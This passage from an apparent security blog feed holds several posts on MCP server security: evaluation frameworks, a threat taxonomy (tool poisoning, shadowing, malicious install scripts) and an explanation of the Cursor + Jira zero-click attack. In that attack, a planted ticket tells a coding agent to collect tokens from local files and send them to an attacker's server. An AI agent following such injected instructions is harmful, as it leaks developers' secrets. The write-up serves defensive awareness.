&lt;p&gt;Keep on MCPing.&lt;/p&gt;</content:encoded></item><item><title>A Proposed Evaluation Framework for MCP Server Security</title><link>https://lirantal.com/blog/mcp-server-security-evaluation-framework/</link><guid>https://lirantal.com/blog/mcp-server-security-evaluation-framework/</guid><description>How do you securely integrate a new MCP Server into Cursor or other agentic workflows? what security practices do you consider to evaluate the risks?</description><pubDate>Tue, 07 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;As we developers rush to adopt and connect a new MCP Server, we should stop, take a step back, and ask ourselves: how secure is this server? In this blog post, I propose a lightweight evaluation framework to assess the security of MCP Servers, ensuring they meet the necessary standards to protect our applications and data.&lt;/p&gt;
&lt;p&gt;I urge you to avoid using an MCP Server without evaluating its security first, but you can’t always do that (some MCP Servers are hosted remotely), and while this write-up doesn’t aim to be exhaustive, it should give you a good starting point in terms of MCP security awareness.&lt;/p&gt;
&lt;h2 id=&quot;a-proposed-evaluation-framework-for-model-context-protocol-servers&quot;&gt;A Proposed Evaluation Framework for Model Context Protocol Servers&lt;/h2&gt;
&lt;p&gt;I’ve layered the MCP Server security framework into three main layers, each with its own set of criteria:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Layer 1: MCP Server configuration&lt;/li&gt;
&lt;li&gt;Layer 2: MCP Server implementation&lt;/li&gt;
&lt;li&gt;Layer 3: MCP Server assets&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;These are positioned in a triangle shape that represents the hierarchy in terms of level of control you have over each layer vs the level of security impact in-case of a compromise.&lt;/p&gt;
&lt;p&gt;The MCP Server security framework is illustrated below:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/mcp-server-security-evaluation-framework.png&quot; alt=&quot;MCP Server security evaluation framework&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;layer-1-mcp-server-configuration&quot;&gt;Layer 1: MCP Server Configuration&lt;/h3&gt;
&lt;p&gt;How much control you have over the MCP Server configuration depends on how is it provisioned and the MCP Host (e.g: Cursor or Claude Desktop).&lt;/p&gt;
&lt;p&gt;For example, to integrate an MCP Server into your Cursor agentic workflow you’d write the following JSON file in &lt;code&gt;.cursor/mcp.json&lt;/code&gt;:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;mcpServers&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;command&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;npx&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;args&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: [&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;some-mcp-server&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;env&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;API_KEY&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;your-api-key&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You likely already see the security implications of this configuration file, right? There’s an API token in there which is a problem because it is a risk that you carry. Consider the following security concerns:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;What if you were to commit this file to a public GitHub repository? you’d be exposing your API key to the world.&lt;/li&gt;
&lt;li&gt;What if you’d be a victim of a supply chain attack or otherwise where the malware were to exfiltrate this MCP servers configuration file?&lt;/li&gt;
&lt;li&gt;What if an MCP Server itself or your Cursor IDE would be instructed via [indirect] prompt injection to read this file and exfiltrate the API key?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;These are all valid concerns, and they highlight the importance of securing the MCP Server configuration.&lt;/p&gt;
&lt;h3 id=&quot;layer-2-mcp-server-implementation&quot;&gt;Layer 2: MCP Server Implementation&lt;/h3&gt;
&lt;p&gt;MCP Servers aren’t magic, they’re just code. This code is implemented to power MCP Tools, MCP Resources and other capabilities. Just like backend, frontend or otherwise any other code, MCP Servers can be written in an insecure manner that would lead to security vulnerabilities.&lt;/p&gt;
&lt;p&gt;In fact, insecure MCP Servers aren’t some hypothetical scenario, I’ve been personally finding and reporting security vulnerabilities in MCP Servers for a while now. For reference, consider the following security advisories I’ve reported which I highly recommend you review if you’re building MCP Servers:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Mastra AI MCP Server for their documentation found &lt;a href=&quot;https://github.com/advisories/GHSA-xh92-rqrq-227v&quot;&gt;vulnerable to information exposure via path traversal&lt;/a&gt;: distributed via npm package &lt;code&gt;@mastra/mcp-docs-server&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-54j7-grvr-9xwg&quot;&gt;Command Injection in adb-mcp MCP Server&lt;/a&gt;: distributed via npm package &lt;code&gt;adb-mcp&lt;/code&gt; and tracked via CVE-2025-59834.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-6jx8-rcjx-vmwf&quot;&gt;GitHub Kanban MCP Server vulnerable to Command Injection&lt;/a&gt; tracked via CVE-2025-53818.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;layer-3-mcp-server-assets&quot;&gt;Layer 3: MCP Server Assets&lt;/h3&gt;
&lt;p&gt;The last layer I’ve named “Assets” refers to the underlying components that the MCP Server relies on and mostly this includes third-party components. The risks are similar to those of any other software supply chain, and you should be aware of them and monitor them:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Vulnerable dependencies: MCP Servers may rely on third-party libraries or frameworks that have known vulnerabilities. Regularly check for updates and security patches for these dependencies.&lt;/li&gt;
&lt;li&gt;Outdated software: Ensure that the MCP Server software itself is kept up-to-date with the latest security patches and updates.&lt;/li&gt;
&lt;li&gt;License compliance: Verify that the MCP Server and its dependencies comply with relevant software licenses to avoid legal issues.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;These are all quite known software supply chain risks, and you should be aware that they’re also present in MCP Servers and expose you in a similar manner to using an open source component in a web application project, for example.&lt;/p&gt;
&lt;h2 id=&quot;what-else-should-we-be-asking-about-mcp-server-security&quot;&gt;What else should we be asking about MCP Server security?&lt;/h2&gt;
&lt;p&gt;Some frequently asked questions that would be good to figure out as we learn more about MCP server adoption:&lt;/p&gt;
&lt;h3 id=&quot;mcp-server-security-faq&quot;&gt;MCP Server Security FAQ&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;How do we evaluate MCP Server registry trust level?&lt;/li&gt;
&lt;li&gt;How do we evaluate remote MCP Servers trust level?&lt;/li&gt;
&lt;li&gt;How do we analyze MCP Tool handlers?&lt;/li&gt;
&lt;li&gt;How do we analyze MCP Tool descriptions?&lt;/li&gt;
&lt;li&gt;How do we watch out for MCP Tool conflicts? (what I’ve described above as “Tool Shadowing”)&lt;/li&gt;
&lt;li&gt;How do we figure out the runtime security for tool input and output?&lt;/li&gt;
&lt;li&gt;How do we figure out the runtime of MCP Server sandbox or tool sandbox? (as in, the environment where the MCP Server runs)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Some of these are mitigated by solutions such as &lt;a href=&quot;https://github.com/invariantlabs-ai/mcp-scan&quot;&gt;mcp-scan&lt;/a&gt; which is an open source static analysis tool for MCP Servers, and &lt;a href=&quot;https://snyk.io/product/snyk-code/&quot;&gt;Snyk Code&lt;/a&gt; which can perform static analysis on MCP Server code (the MCP Tool implementation).&lt;/p&gt;
&lt;p&gt;More answers on those questions will come later.&lt;/p&gt;</content:encoded></item><item><title>Evaluation Framework for MCP Security Threats and Risks</title><link>https://lirantal.com/blog/evaluation-framework-for-mcp-security-threats-and-risks/</link><guid>https://lirantal.com/blog/evaluation-framework-for-mcp-security-threats-and-risks/</guid><description>How to evaluate and categorize security threats and risks associated with Model Code Protocol (MCP) in light of recent security incidents.</description><pubDate>Sun, 05 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;In the wake of the recent MCP (Model Context Protocol) related security incidents including the notable Cursor + Jira MCP 0-click attack, GitHub MCP Server exploitation and significant vulnerabilities discovered in various MCP implementations, it is crucial to establish a comprehensive evaluation framework for assessing the security threats and risks associated with MCPs.&lt;/p&gt;
&lt;p&gt;I’ve mapped out a structured framework that categorizes and evaluates the various security threats and risks linked to MCPs. This framework encompasses multiple dimensions including threat vectors, and potential vulnerable and threat scenarios.&lt;/p&gt;
&lt;p&gt;Hopefully, with this framework, developers and organizations can more thoroughly analyze the threats and risks around MCP security when they adopt and roll-out its use across the company.&lt;/p&gt;
&lt;h2 id=&quot;mcp-security-threats-and-risks-evaluation-framework&quot;&gt;MCP Security Threats and Risks Evaluation Framework&lt;/h2&gt;
&lt;p&gt;In this proposed framework that I’ve put forward, I categorized security threats and risks into several key dimensions that reflect prior security incidents from supply-chain security domain and on to inherent agentic workflows for developers.&lt;/p&gt;
&lt;p&gt;The four dimensions are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Malicious MCP Servers&lt;/li&gt;
&lt;li&gt;Consuming MCP Servers&lt;/li&gt;
&lt;li&gt;Agent’ing MCP Servers (yes I realize I’m making up the “agenting” word here, just a hobby, won’t be something big)&lt;/li&gt;
&lt;li&gt;Building secure MCP Servers&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href=&quot;/images/blog/mcp-security-threats-and-risks-overview.png&quot;&gt;mcp security threats and risks overview&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;How do these dimensions break down into practical threat vectors and scenarios? Let’s explore each dimension in detail.&lt;/p&gt;
&lt;h3 id=&quot;1-malicious-mcp-servers&quot;&gt;1. Malicious MCP Servers&lt;/h3&gt;
&lt;p&gt;Malicious MCP Servers, just like we’ve learned from malicious npm packages (and PyPI packages), can introduce a variety of threats to the systems that consume them.&lt;/p&gt;
&lt;p&gt;How do malicious MCP servers operate and what are the potential threat vectors? Here are some key examples:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Tool poisoning&lt;/strong&gt;: Tool poisoning involves injecting malicious code or behavior into the MCP server itself as part of the tool instructions. You should actually be &lt;a href=&quot;https://labs.snyk.io/resources/detect-tool-poisoning-mcp-server-security/&quot;&gt;scanning MCP servers for tool poisoning&lt;/a&gt; as part of your security practices.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Tool shadowing&lt;/strong&gt;: Tool shadowing occurs when a malicious MCP server provides tools that mimic legitimate ones but perform harmful actions instead. The “shadowing” aspect refers to the deceptive nature of the malicious tool definition to appear (named) as another trusted tool. This is somewhat akin to typosquatting tools.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Malicious dependencies&lt;/strong&gt;: Malicious MCP servers may depend on other compromised or malicious MCP servers, or just regular dependencies, to propagate harmful code or behavior: Since installing MCP servers often involves reliance on package managers and dependencies, this can be a significant threat vector.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Malicious post-install scripts&lt;/strong&gt;: Given that MCP servers are often “just packages”, most commonly, npm packages, they have the inherent capability of defining and running post-install scripts. These scripts can be exploited to execute malicious code during the installation process, leading to system compromise.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&quot;2-consuming-mcp-servers&quot;&gt;2. Consuming MCP Servers&lt;/h3&gt;
&lt;p&gt;How do you consume an MCP Server today? what are the potential threats and risks associated with consuming MCP servers? Are they just like consuming open source packages from npm? How do you integrate them?&lt;/p&gt;
&lt;p&gt;Here are a few threat vectors and scenarios to consider:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Trusted upstream sources&lt;/strong&gt;: Where are you installing the MCP Server from? There are various MCP directories including PulseMCP, Cursor.Directory and others. Are you installing an MCP Server directly from GitHub? from npm? from a Docker Hub? how do you vet authenticity, ownership, trustworthiness?&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Rug pulls and version pinning&lt;/strong&gt;: MCP servers can be subject to rug pulls, where a previously trusted MCP server is suddenly removed or replaced with a malicious version. Version pinning and integrity checks can help mitigate this risk. Are you practicing this today?&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Local vs Remote&lt;/strong&gt;: The risk impact varies significantly based on whether the MCP server is run locally or remotely. Local MCP servers can have more direct access to system resources, while remote MCP servers may introduce network-related vulnerabilities and data exposure risks.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Authentication&lt;/strong&gt;: How do you authenticate and authorize access to the MCP server? Are you using API keys, OAuth tokens, or other mechanisms?&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&quot;3-agenting-mcp-servers&quot;&gt;3. Agent’ing MCP Servers&lt;/h3&gt;
&lt;p&gt;MCP Servers are utilized in agentic workflows (btw not only code, but also end-user common productivity like booking flights), where they can autonomously perform tasks and make decisions.&lt;/p&gt;
&lt;p&gt;The risks laid out in this section are more about the way the MCP Servers are integrated into existing tools and workflows, commonly known as MCP Clients or MCP Hosts, per the Model Context Protocol specification.&lt;/p&gt;
&lt;p&gt;Some of these risks include:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Indirect prompt injection&lt;/strong&gt;: Possibly the most common attack vector for agentic workflows is the security concern of context injected into a conversation, message history or otherwise consumed information by the MCP Server (or its underlying LLM). This can lead to unintended behavior, data leakage, or manipulation of the agent’s actions.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Toxic Flow analysis&lt;/strong&gt;: Toxic Flow Analysis, pioneered by Snyk security researchers (formerly Invariant Labs)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Secure use of MCP server credentials&lt;/strong&gt;: The current need for some MCP Servers to use an API token or API key credential as part of the definition of MCP Server configuration is a potential time-bomb as it is stored in plain-text on disk as part of the MCP servers configuration file.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&quot;4-building-secure-mcp-servers&quot;&gt;4. Building Secure MCP Servers&lt;/h3&gt;
&lt;p&gt;MCP Servers are incredible for enabling agentic workflows. You add a new MCP Server to Claude Code, to Cursor and Qodo Command, but wait, MCP Servers are just… code, yes? So the logical conclusion is that tool, resource and other capabilities in the way that they are implemented in MCP Servers can be flawed and subject to insecure code, hence introducing security vulnerabilities.&lt;/p&gt;
&lt;p&gt;Some note-worthy examples of types of security vulnerabilities that can be introduced when building MCP Servers include:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Secure MCP code&lt;/strong&gt;: Vulnerable MCP Tool implementation or vulnerable MCP Resource implementation can lead to security vulnerabilities. For example, an MCP Tool that executes shell commands without proper sanitization can be exploited for command injection attacks.
&lt;ol&gt;
&lt;li&gt;Example evidence: &lt;a href=&quot;https://www.nodejs-security.com/blog/sql-injection-and-bypassing-read-only-mode-in-xata-mcp-server&quot;&gt;SQL Injection and Bypassing “Read-Only” Mode in Xata’s MCP Server&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Example evidence: &lt;a href=&quot;https://www.nodejs-security.com/blog/github-kanban-mcp-server-command-injection-vulnerability&quot;&gt;GitHub Kanban MCP Server Command Injection Vulnerability Threatens Developer Workflows&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Access control (&amp;#x26; permissions)&lt;/strong&gt;: In continuation to the Authentication risk vector mentioned in the Consuming MCP Servers section, Access Control and Permissions are critical aspects to consider when building secure MCP Servers. Ensuring that only authorized users and systems can access and utilize the MCP Server’s capabilities is essential to prevent unauthorized actions and data breaches. Are you properly separating user data? improper authentication and authorization can lead to unauthorized access and potential data breaches.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Secure dependencies&lt;/strong&gt;: MCP Servers are often packaged and distributed via package managers like &lt;code&gt;npm&lt;/code&gt; or &lt;code&gt;uv&lt;/code&gt; which means they can inherit vulnerabilities from their dependencies. Regularly auditing and updating dependencies is crucial to maintaining the security of the MCP Server.&lt;/li&gt;
&lt;/ol&gt;</content:encoded></item><item><title>The Cursor Agentic Jira MCP Attack Explained with Toxic Flow Analysis</title><link>https://lirantal.com/blog/the-cursor-jira-mcp-attack-explained-with-toxic-flow-analysis/</link><guid>https://lirantal.com/blog/the-cursor-jira-mcp-attack-explained-with-toxic-flow-analysis/</guid><description>A breakdown of the Cursor + Jira MCP 0-Click attack, how it was exploited, and why developers are at the center of it all. Understanding MCPs, Toxic Flows, and the implications for AI-assisted coding environments.</description><pubDate>Fri, 03 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;What happened in Cursor + Jira 0-Click attack? I’ll break it down for you in a flow chart that traverses the attack step-by-step, how it was exploited, and why developers are at the center of it all.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;When&lt;/em&gt;: August 1, 2025 security advisory by Marina Simakov of Zenity Labs&lt;/li&gt;
&lt;li&gt;&lt;em&gt;What&lt;/em&gt;: Attack targeting Cursor IDE users&lt;/li&gt;
&lt;li&gt;&lt;em&gt;How&lt;/em&gt;: Toxic flows in the Model Context Protocol (MCP) exploited by attackers&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;What is MCP, Toxic Flows, and why should you care? let’s break it down.&lt;/p&gt;
&lt;h2 id=&quot;mcps-in-developers-tool-box&quot;&gt;MCPs in developers tool-box&lt;/h2&gt;
&lt;p&gt;Model Context Protocol (MCP) servers enable developers to embed actions, information and context into their agentic coding workflows. These may be IDE tools like Cursor, or command-line tools like Claude Code.&lt;/p&gt;
&lt;p&gt;Developers reach out to MCPs to get context-aware code completions, code generation, and other AI-assisted coding tasks. In this sense, JIRA MCP is a server that provides context about JIRA tickets, projects, and workflows to the AI coding assistant. Developers can then use a ticket’s own information to plan, generate, and update code related to that ticket. All without opening Jira, or a web browser, because the agent (Cursor in our story) can drive actions via the Jira MCP.&lt;/p&gt;
&lt;h2 id=&quot;the-cursor--jira-mcp-workflow&quot;&gt;The Cursor + Jira MCP Workflow&lt;/h2&gt;
&lt;p&gt;Developers using Cursor IDE can connect to the Jira MCP server to enhance their coding experience. The workflow typically looks like this:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/developers-use-jira-mcp-server-with-cursor.png&quot; alt=&quot;developers use jira MCP server with Cursor&quot;&gt;&lt;/p&gt;
&lt;p&gt;This is pretty straightforward. The developer prompts the AI coding assistant (Cursor) to perform actions related to a Jira ticket. Cursor then communicates with the Jira MCP server to fetch relevant information about the ticket, such as its description, status, and comments. The MCP server responds with the requested data, which Cursor uses to generate context-aware code completions or suggestions.&lt;/p&gt;
&lt;h2 id=&quot;the-cursor--jira-mcp-attack-flow&quot;&gt;The Cursor + Jira MCP Attack Flow&lt;/h2&gt;
&lt;p&gt;In parallel to the agentic developer workflow above, the attacker sends an email to the support team, which translates to a Jira ticket. The ticket contains a malicious prompt that abuses the MCP protocol to execute arbitrary code on the developer’s machine.&lt;/p&gt;
&lt;p&gt;So the following takes place:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/cursor-jira-mcp-attack-flow.png&quot; alt=&quot;cursor jira mcp attack flow&quot;&gt;&lt;/p&gt;
&lt;p&gt;Putting these two seemingly separate flows together, we get the full picture of how the attack unfolds:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/cursor-jira-mcp-server-attack-flow-complete.png&quot; alt=&quot;cursor and jira mcp server attack flow complete&quot;&gt;&lt;/p&gt;
&lt;p&gt;The support ticket from the user (the attacker) contains a prompt that instructs the AI coding assistant (Cursor) to retrieve JWT tokens from the developer’s machine. These can be any tokens to any systems, they are just found and placed in plaintext on the developer’s machine via &lt;code&gt;.env&lt;/code&gt; files and other config files.&lt;/p&gt;
&lt;p&gt;Cursor uses the Jira MCP server to fetch the ticket’s description, which includes the malicious prompt and is then being acted upon. An Agentic IDE like Cursor also has other built-in tools like a generic web fetch tool, which means that the malicious prompt can also include instructions that tell Cursor to send the stolen tokens to an external server controlled by the attacker.&lt;/p&gt;
&lt;p&gt;The attack in action is demonstrated in the following screenshot from Zenity Labs and their &lt;a href=&quot;https://labs.zenity.io/p/when-a-jira-ticket-can-steal-your-secrets&quot;&gt;research&lt;/a&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/zenity-labs-research-cursor-and-jira.png&quot; alt=&quot;Zenity Labs research screenshot&quot;&gt;&lt;/p&gt;
&lt;h2 id=&quot;toxic-flows-in-mcps&quot;&gt;Toxic Flows in MCPs&lt;/h2&gt;
&lt;p&gt;Looking at the full flows above we can identify specific points of failure that enabled the attack to succeed. These are what &lt;a href=&quot;https://labs.snyk.io/resources/cursor-jira-mcp-vulnerability-explained/&quot;&gt;Snyk security research team refers to as “Toxic Flows”&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/toxic-flows-in-cursor-and-jira-attack.png&quot; alt=&quot;toxic flow analysis in the cursor and jira attack&quot;&gt;&lt;/p&gt;
&lt;p&gt;More precisely, we can name these flows as follows:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;*&lt;em&gt;Untrusted Content Tools&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Public Sink Tools&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Private Data Tools&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;And they’re illustrated in the following diagram:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/toxic-flow-analysis.png&quot; alt=&quot;toxic flow analysis&quot;&gt;&lt;/p&gt;
&lt;p&gt;Applying this knowledge to the Cursor + Jira MCP attack, we can see how each of these toxic flows played a role in the attack:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/toxic-flows-in-action-for-cursor-and-jira-mcp-attack.png&quot; alt=&quot;Cursor and Jira MCP attack demonstrate the Toxic Flow Analysis concept&quot;&gt;&lt;/p&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;Toxic Flow Analysis is a powerful framework for understanding and mitigating security risks in AI-assisted coding environments.&lt;/p&gt;
&lt;p&gt;The Cursor + Jira MCP attack serves as a reminder for the potential culprits of MCP weaknesses with agentic workflows but it isn’t new and has been published initially by Invariant Labs researchers (acquired by Snyk) in May 2025. Their research uncovered security issues in the &lt;a href=&quot;https://invariantlabs.ai/blog/mcp-github-vulnerability&quot;&gt;GitHub MCP Server exploitation&lt;/a&gt; and how it was exploited in a similar manner.&lt;/p&gt;</content:encoded></item><item><title>The Uprising of Model Context Protocol (MCP) Security Research</title><link>https://lirantal.com/blog/the-uprising-of-model-context-protocol-mcp-security-research/</link><guid>https://lirantal.com/blog/the-uprising-of-model-context-protocol-mcp-security-research/</guid><description>The Model Context Protocol (MCP) is gaining traction in the AI community, and with its rise comes a wave of security research. This article explores the emerging security landscape surrounding MCP, highlighting key vulnerabilities and the importance of robust security measures in this evolving protocol.</description><pubDate>Wed, 24 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Any time in technology history where a new technology emerges, quickly followed is a wave of security research. This is the good old cat and mouse game of security research. As new paradigms, tools, or protocols are introduced, vulnerabilities and various security issues are inevitably discovered, leading to patches, updates, and sometimes even new security frameworks. The Model Context Protocol (MCP) is no exception to this trend.&lt;/p&gt;
&lt;h2 id=&quot;what-is-mcp&quot;&gt;What is MCP?&lt;/h2&gt;
&lt;p&gt;The Model Context Protocol (MCP) is a protocol designed to facilitate the exchange of context information between AI models and applications. It aims to standardize how context is shared, ensuring that models can operate more effectively by understanding the environment in which they are deployed. MCP is particularly relevant in scenarios where AI models need to adapt to different contexts, such as varying user preferences, environmental conditions, or operational constraints.&lt;/p&gt;
&lt;h2 id=&quot;the-s-in-mcp-security&quot;&gt;The S in MCP: Security&lt;/h2&gt;
&lt;p&gt;Security is a critical aspect of any protocol, especially one that deals with AI models and their interactions with applications.&lt;/p&gt;
&lt;p&gt;The Model Context Protocol (MCP) is a relatively young schematics that has been put forward by Anthropic only at the end of 2024, in November. As such, it was still in its infancy for many months and have lacked any wide adoption or security scrutiny. However, that changed very quickly in early 2025 at around March, when new MCP Servers were announced, and MCP clients like Cursor, Claude Desktop and others started to include integrations.&lt;/p&gt;
&lt;p&gt;Security in MCP has initially been interpreted by consumers (developers and companies) as identity and access management, meaning authentication and authorization. While these are important security aspects to address in the protocol, they are not the only ones. As MCP adoption grew, so did the interest from security researchers to explore the protocol for potential vulnerabilities and security issues.&lt;/p&gt;
&lt;p&gt;Security research for MCP, aside from identity, roles and permissions, extends to various areas, including:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Supply chain security and malware: Ensuring that MCP implementations are free from malicious code and vulnerabilities that could be exploited by attackers. Malicious MCP Servers could not just have malicious code but also expose malicious tools via an attack known as Tool Poisoning.&lt;/li&gt;
&lt;li&gt;Insecure code: MCP servers may have insecure code that could lead to vulnerabilities such as command injection, path traversal, SSRF or other types of security issues.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;insecure-mcp-servers&quot;&gt;Insecure MCP Servers&lt;/h2&gt;
&lt;p&gt;Exploring further the concept of flawed MCP Servers that unfortunately exist in the wild, there’s plenty of evidence that shows many MCP servers are insecure.&lt;/p&gt;
&lt;p&gt;I’ve personally been researching the security of MCP Servers and have found dozen of them to be insecure. Some call-outs for published advisories that I can share include the following:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/model-context-protocol-security-advisories-published-on-github.png&quot; alt=&quot;model context protocol MCP security advisories published on GitHub CVE&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;which-security-vulnerabilities-are-found-in-mcp-servers&quot;&gt;Which Security Vulnerabilities are Found in MCP Servers?&lt;/h3&gt;
&lt;p&gt;Security research from equixly finds that &lt;a href=&quot;https://equixly.com/blog/2025/03/29/mcp-server-new-security-nightmare/&quot;&gt;top security vulnerability types in MCP Servers&lt;/a&gt; include Command Injection, Path Traversal and SSRF types of vulnerabilities.&lt;/p&gt;
&lt;p&gt;In correlation, I’ve authored three Node.js Secure Coding book, two of which focus on exactly these types of vulnerabilities, and I can confirm that these are the most common security issues in Node.js applications, which is the language of choice for many MCP Server implementations:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.nodejs-security.com/book/command-injection&quot;&gt;Node.js Secure Coding: Defending Against Command Injection Vulnerabilities&lt;/a&gt; - Command Injection vulnerabilities&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.nodejs-security.com/book/path-traversal&quot;&gt;Node.js Secure Coding: Prevention and Exploitation of Path Traversal Vulnerabilities&lt;/a&gt; - Path Traversal vulnerabilities&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;vulnerabilities-deserves-their-punny-names-and-logos&quot;&gt;Vulnerabilities Deserves their Punny names and Logos&lt;/h3&gt;
&lt;p&gt;It is inevitable for security vulnerabilities to get punny names and logos. MCP vulnerabilities are no exception. So, for that, I’ve created the following visuals that I imagine will be circulating in the security community in the near future:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/MCP_logo_bleeding_colored_red.png&quot; alt=&quot;mcp command injection vulnerability logo&quot;&gt;&lt;/p&gt;
&lt;p&gt;there’s also this one if you fancy a different flavor:&lt;/p&gt;
